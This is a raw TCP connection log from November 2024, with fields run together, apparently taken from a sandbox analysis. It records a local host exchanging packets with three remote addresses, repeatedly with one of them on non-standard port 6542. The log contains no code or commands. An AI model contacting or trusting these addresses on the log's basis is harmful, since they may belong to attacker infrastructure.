                                                                          Nov 18, 2024 19:24:02.140642881 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.140767097 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.140842915 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.141020060 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.141098976 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.143297911 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.143387079 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.143599033 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.143676043 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.146718025 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.146796942 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.146897078 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.146974087 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.147124052 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.147202015 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.147284985 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.147353888 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.147501945 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.147577047 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.147759914 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.147829056 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.147943020 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.148016930 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.148250103 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.148319960 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.148435116 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.148504972 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.149137974 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.149211884 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.151647091 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.151719093 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.151889086 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.151971102 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.152066946 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.152136087 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.155124903 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.155213118 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.155590057 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.155662060 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.155941963 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.156032085 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.156196117 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.156272888 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.156543016 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.156615973 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.157248020 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.157330036 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.158106089 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.158178091 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.158406019 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.158480883 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.158808947 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.158881903 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.159054041 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.159131050 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.159234047 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.159312963 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.159480095 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.159554958 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.159634113 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.159708023 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.159892082 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.159965992 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.160146952 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.160216093 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.160397053 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.160471916 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.160559893 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.160634995 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.164521933 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.164613008 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.164659977 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.164736032 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.164906025 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.164978981 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.165541887 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.165618896 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.165802002 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.165874958 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.166057110 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.166134119 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.166282892 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.166357040 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.166656971 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.166728020 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.166847944 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.166918039 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.169980049 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.170056105 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.170298100 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.170371056 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.170545101 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.170614004 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.170932055 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.171005011 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.171252966 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.171323061 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.171578884 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.171653986 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.171762943 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.171833992 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.172895908 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.172977924 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.173567057 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.173638105 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.174071074 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.174146891 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.174539089 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.174624920 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.174988985 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.175057888 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.179016113 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.179095030 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.179172039 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.179347992 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.179392099 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.179469109 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.179655075 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.179721117 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.179868937 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.179940939 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.180150986 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.180227041 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.182840109 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.182918072 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.182954073 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.183024883 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.185614109 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.185683966 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.185882092 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.185959101 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.186067104 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.186134100 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.186494112 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.186569929 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.186614037 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.186685085 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.186795950 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.186866999 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.186938047 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.187012911 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.187158108 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.187227011 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.187403917 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.187474012 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.187542915 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.187623024 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196007013 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196103096 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196141958 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196214914 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196299076 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196372032 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196407080 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196469069 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196686029 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196765900 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.196860075 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.196943045 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.197020054 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.197091103 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.197124004 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.197190046 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.197663069 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.197748899 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.197813988 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.197882891 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.197956085 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.198024035 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.286881924 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.286973000 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.287384987 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.287456989 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.287619114 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.287688017 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.287859917 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.287931919 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.289316893 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.289396048 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.289515972 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.289587021 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.289700985 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.289767981 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.289855003 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.289926052 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.290009975 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.290081024 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.304130077 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.304214954 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.304224014 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.304250002 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.304287910 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.304320097 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.304863930 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.304953098 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.305021048 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.305103064 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.305124044 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.305187941 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.306572914 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.306643009 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.306694031 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.306763887 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.306807995 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.306883097 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.306909084 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.306943893 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:02.306999922 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:02.312333107 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:05.405694008 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:05.410691977 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:05.410768032 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:05.413471937 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:05.421036005 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:06.291882038 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:06.291933060 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:06.291980028 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:06.295700073 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:06.301640987 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:06.537759066 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:06.578957081 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:08.173733950 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:08.173821926 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:08.173898935 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:08.174273968 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:08.174302101 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.319128036 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.319360971 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:09.366662979 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:09.366729975 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.367723942 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.371918917 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:09.415370941 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.631309032 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.631486893 CET44349733195.201.57.90192.168.2.4
                                                                          Nov 18, 2024 19:24:09.631550074 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:09.722224951 CET49733443192.168.2.4195.201.57.90
                                                                          Nov 18, 2024 19:24:09.890867949 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:09.895740986 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:09.895797014 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:09.900755882 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:10.134928942 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:10.188328981 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:10.247705936 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:24:10.297702074 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:13.195566893 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:13.195596933 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:13.195662975 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:13.200798035 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:13.200809002 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.173266888 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.173338890 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.175450087 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.175455093 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.175771952 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.219582081 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.226031065 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.271323919 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.564810038 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.564846039 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.564856052 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.564913988 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.564923048 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.610219955 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.684410095 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.684431076 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.684521914 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.731831074 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.731842041 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.731919050 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.851260900 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.851284027 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.851491928 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.851491928 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.864023924 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.864044905 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.864125013 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:14.971591949 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:14.971690893 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.007356882 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.007436037 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.092113018 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.092211962 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.128876925 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.128957033 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.212518930 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.212590933 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.251621008 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.251689911 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.332922935 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.333013058 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.340977907 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.341046095 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.419982910 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.420063019 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.454210043 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.454293013 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.534255981 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.534332037 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.573703051 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.573781013 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.612505913 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.612585068 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.663676023 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.663779974 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.694700003 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.694781065 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.775970936 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.776046038 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.816335917 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.816418886 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.854583979 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.854712009 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.896370888 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.896445036 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:15.936764002 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:15.936835051 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.003700972 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.003799915 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.023732901 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.023818970 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.057375908 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.057454109 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.123956919 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.124041080 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.138192892 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.138273954 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.177645922 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.177879095 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.244241953 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.244302988 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:16.264502048 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:16.264566898 CET49734443192.168.2.4185.78.221.73
